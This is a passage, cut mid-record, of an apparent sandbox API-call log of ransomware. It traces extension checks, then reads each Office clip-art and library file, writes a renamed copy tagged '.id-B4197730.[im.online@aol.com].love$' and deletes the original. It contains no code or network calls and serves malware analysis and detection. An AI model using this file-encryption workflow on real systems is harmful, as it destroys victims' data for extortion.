(lpString1=".dbf", lpString2=".MID") returned -1 [0249.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0249.110] lstrlenW (lpString=".1cd") returned 4 [0249.110] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0249.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0249.110] lstrlenW (lpString=".jpg") returned 4 [0249.110] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0249.110] lstrcmpiW (lpString1=".MID", lpString2=".love$") returned 1 [0249.110] lstrlenW (lpString="URBAN_01.MID") returned 12 [0249.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0249.112] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=13358) returned 1 [0249.112] CloseHandle (hObject=0x418) returned 1 [0249.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid")) returned 0x220 [0249.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0249.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0249.112] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0249.113] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0249.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0249.113] GetLastError () returned 0x0 [0249.114] ReadFile (in: hFile=0x418, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x342e, lpOverlapped=0x0) returned 1 [0249.132] WriteFile (in: hFile=0x4c8, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x3430, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x3430, lpOverlapped=0x0) returned 1 [0249.134] ReadFile (in: hFile=0x418, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0249.134] WriteFile (in: hFile=0x4c8, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0xec, lpOverlapped=0x0) returned 1 [0249.134] SetEndOfFile (hFile=0x4c8) returned 1 [0249.134] CloseHandle (hObject=0x4c8) returned 1 [0249.134] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0249.134] SetEndOfFile (hFile=0x418) returned 1 [0249.138] CloseHandle (hObject=0x418) returned 1 [0249.138] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0249.138] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid")) returned 1 [0249.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0249.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0249.139] lstrlenW (lpString=".doc") returned 4 [0249.139] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0249.139] lstrlenW (lpString=".docx") returned 5 [0249.140] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0249.140] lstrlenW (lpString=".pdf") returned 4 [0249.140] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0249.140] lstrlenW (lpString=".xls") returned 4 [0249.140] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0249.140] lstrlenW (lpString=".xlsx") returned 5 [0249.140] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0249.140] lstrlenW (lpString=".ppt") returned 4 [0249.140] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0249.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0249.140] lstrlenW (lpString=".zip") returned 4 [0249.140] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0249.140] lstrlenW (lpString=".rar") returned 4 [0249.140] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0249.140] lstrlenW (lpString=".bz2") returned 4 [0249.140] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0249.140] lstrlenW (lpString=".7z") returned 3 [0249.140] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0249.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0249.140] lstrlenW (lpString=".dbf") returned 4 [0249.140] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0249.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0249.140] lstrlenW (lpString=".1cd") returned 4 [0249.140] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0249.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0249.140] lstrlenW (lpString=".jpg") returned 4 [0249.140] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0249.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0249.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0249.140] lstrlenW (lpString=".doc") returned 4 [0249.140] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0249.140] lstrlenW (lpString=".docx") returned 5 [0249.140] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0249.140] lstrlenW (lpString=".pdf") returned 4 [0249.140] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0249.140] lstrlenW (lpString=".xls") returned 4 [0249.141] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0249.141] lstrlenW (lpString=".xlsx") returned 5 [0249.141] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0249.141] lstrlenW (lpString=".ppt") returned 4 [0249.141] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0249.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0249.141] lstrlenW (lpString=".zip") returned 4 [0249.141] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0249.141] lstrlenW (lpString=".rar") returned 4 [0249.141] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0249.141] lstrlenW (lpString=".bz2") returned 4 [0249.141] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0249.141] lstrlenW (lpString=".7z") returned 3 [0249.141] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0249.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0249.141] lstrlenW (lpString=".dbf") returned 4 [0249.141] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0249.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0249.141] lstrlenW (lpString=".1cd") returned 4 [0249.141] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0249.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0249.141] lstrlenW (lpString=".jpg") returned 4 [0249.141] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0249.141] lstrcmpiW (lpString1=".MID", lpString2=".love$") returned 1 [0249.141] lstrlenW (lpString="VCTRN_01.MID") returned 12 [0249.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0249.182] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=4961) returned 1 [0249.182] CloseHandle (hObject=0x388) returned 1 [0249.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid")) returned 0x220 [0250.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0250.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0250.244] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0250.244] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0250.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0250.342] GetLastError () returned 0x0 [0250.342] ReadFile (in: hFile=0x544, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x1361, lpOverlapped=0x0) returned 1 [0250.345] WriteFile (in: hFile=0x538, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x1370, lpOverlapped=0x0) returned 1 [0250.346] ReadFile (in: hFile=0x544, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0250.346] WriteFile (in: hFile=0x538, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0xec, lpOverlapped=0x0) returned 1 [0250.346] SetEndOfFile (hFile=0x538) returned 1 [0250.347] CloseHandle (hObject=0x538) returned 1 [0250.347] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0250.347] SetEndOfFile (hFile=0x544) returned 1 [0250.350] CloseHandle (hObject=0x544) returned 1 [0250.351] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0250.351] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid")) returned 1 [0250.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0250.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0250.352] lstrlenW (lpString=".doc") returned 4 [0250.352] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0250.352] lstrlenW (lpString=".docx") returned 5 [0250.352] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0250.352] lstrlenW (lpString=".pdf") returned 4 [0250.352] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0250.353] lstrlenW (lpString=".xls") returned 4 [0250.353] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0250.353] lstrlenW (lpString=".xlsx") returned 5 [0250.353] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0250.353] lstrlenW (lpString=".ppt") returned 4 [0250.353] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0250.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0250.353] lstrlenW (lpString=".zip") returned 4 [0250.353] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0250.353] lstrlenW (lpString=".rar") returned 4 [0250.353] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0250.353] lstrlenW (lpString=".bz2") returned 4 [0250.353] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0250.353] lstrlenW (lpString=".7z") returned 3 [0250.353] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0250.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0250.353] lstrlenW (lpString=".dbf") returned 4 [0250.353] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0250.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0250.353] lstrlenW (lpString=".1cd") returned 4 [0250.353] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0250.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0250.353] lstrlenW (lpString=".jpg") returned 4 [0250.353] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0250.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0250.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0250.354] lstrlenW (lpString=".doc") returned 4 [0250.354] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0250.354] lstrlenW (lpString=".docx") returned 5 [0250.354] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0250.354] lstrlenW (lpString=".pdf") returned 4 [0250.354] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0250.354] lstrlenW (lpString=".xls") returned 4 [0250.354] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0250.354] lstrlenW (lpString=".xlsx") returned 5 [0250.354] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0250.354] lstrlenW (lpString=".ppt") returned 4 [0250.354] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0250.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0250.354] lstrlenW (lpString=".zip") returned 4 [0250.354] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0250.354] lstrlenW (lpString=".rar") returned 4 [0250.354] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0250.354] lstrlenW (lpString=".bz2") returned 4 [0250.354] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0250.354] lstrlenW (lpString=".7z") returned 3 [0250.354] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0250.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0250.354] lstrlenW (lpString=".dbf") returned 4 [0250.354] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0250.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0250.354] lstrlenW (lpString=".1cd") returned 4 [0250.354] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0250.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0250.355] lstrlenW (lpString=".jpg") returned 4 [0250.355] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0250.355] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0250.355] lstrlenW (lpString="api-ms-win-core-file-l1-2-0.dll") returned 31 [0250.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0250.359] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=18624) returned 1 [0250.359] CloseHandle (hObject=0x544) returned 1 [0250.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l1-2-0.dll")) returned 0x220 [0250.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0250.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0250.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0250.360] lstrlenW (lpString=".doc") returned 4 [0250.360] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0250.360] lstrlenW (lpString=".docx") returned 5 [0250.360] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0250.360] lstrlenW (lpString=".pdf") returned 4 [0250.360] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0250.360] lstrlenW (lpString=".xls") returned 4 [0250.360] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0250.360] lstrlenW (lpString=".xlsx") returned 5 [0250.360] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0250.360] lstrlenW (lpString=".ppt") returned 4 [0250.360] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0250.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0250.360] lstrlenW (lpString=".zip") returned 4 [0250.360] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0250.360] lstrlenW (lpString=".rar") returned 4 [0250.360] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0250.360] lstrlenW (lpString=".bz2") returned 4 [0250.360] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0250.360] lstrlenW (lpString=".7z") returned 3 [0250.360] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0250.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0250.360] lstrlenW (lpString=".dbf") returned 4 [0250.360] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0250.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0250.360] lstrlenW (lpString=".1cd") returned 4 [0250.360] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0250.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0250.361] lstrlenW (lpString=".jpg") returned 4 [0250.361] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0250.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0250.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0250.361] lstrlenW (lpString=".doc") returned 4 [0250.361] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0250.361] lstrlenW (lpString=".docx") returned 5 [0250.361] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0250.361] lstrlenW (lpString=".pdf") returned 4 [0250.361] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0250.361] lstrlenW (lpString=".xls") returned 4 [0250.361] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0250.361] lstrlenW (lpString=".xlsx") returned 5 [0250.361] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0250.361] lstrlenW (lpString=".ppt") returned 4 [0250.361] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0250.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0250.361] lstrlenW (lpString=".zip") returned 4 [0250.361] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0250.361] lstrlenW (lpString=".rar") returned 4 [0250.361] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0250.361] lstrlenW (lpString=".bz2") returned 4 [0250.361] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0250.361] lstrlenW (lpString=".7z") returned 3 [0250.361] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0250.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0250.362] lstrlenW (lpString=".dbf") returned 4 [0250.362] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0250.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0250.362] lstrlenW (lpString=".1cd") returned 4 [0250.362] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0250.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0250.362] lstrlenW (lpString=".jpg") returned 4 [0250.362] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0250.362] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0250.362] lstrlenW (lpString="api-ms-win-core-file-l2-1-0.dll") returned 31 [0250.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0250.364] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=18624) returned 1 [0250.364] CloseHandle (hObject=0x544) returned 1 [0250.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l2-1-0.dll")) returned 0x220 [0250.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l2-1-0.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0250.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0250.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0250.364] lstrlenW (lpString=".doc") returned 4 [0250.365] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0250.365] lstrlenW (lpString=".docx") returned 5 [0250.365] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0250.365] lstrlenW (lpString=".pdf") returned 4 [0250.365] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0250.365] lstrlenW (lpString=".xls") returned 4 [0250.365] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0250.365] lstrlenW (lpString=".xlsx") returned 5 [0250.365] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0250.365] lstrlenW (lpString=".ppt") returned 4 [0250.365] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0250.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0250.365] lstrlenW (lpString=".zip") returned 4 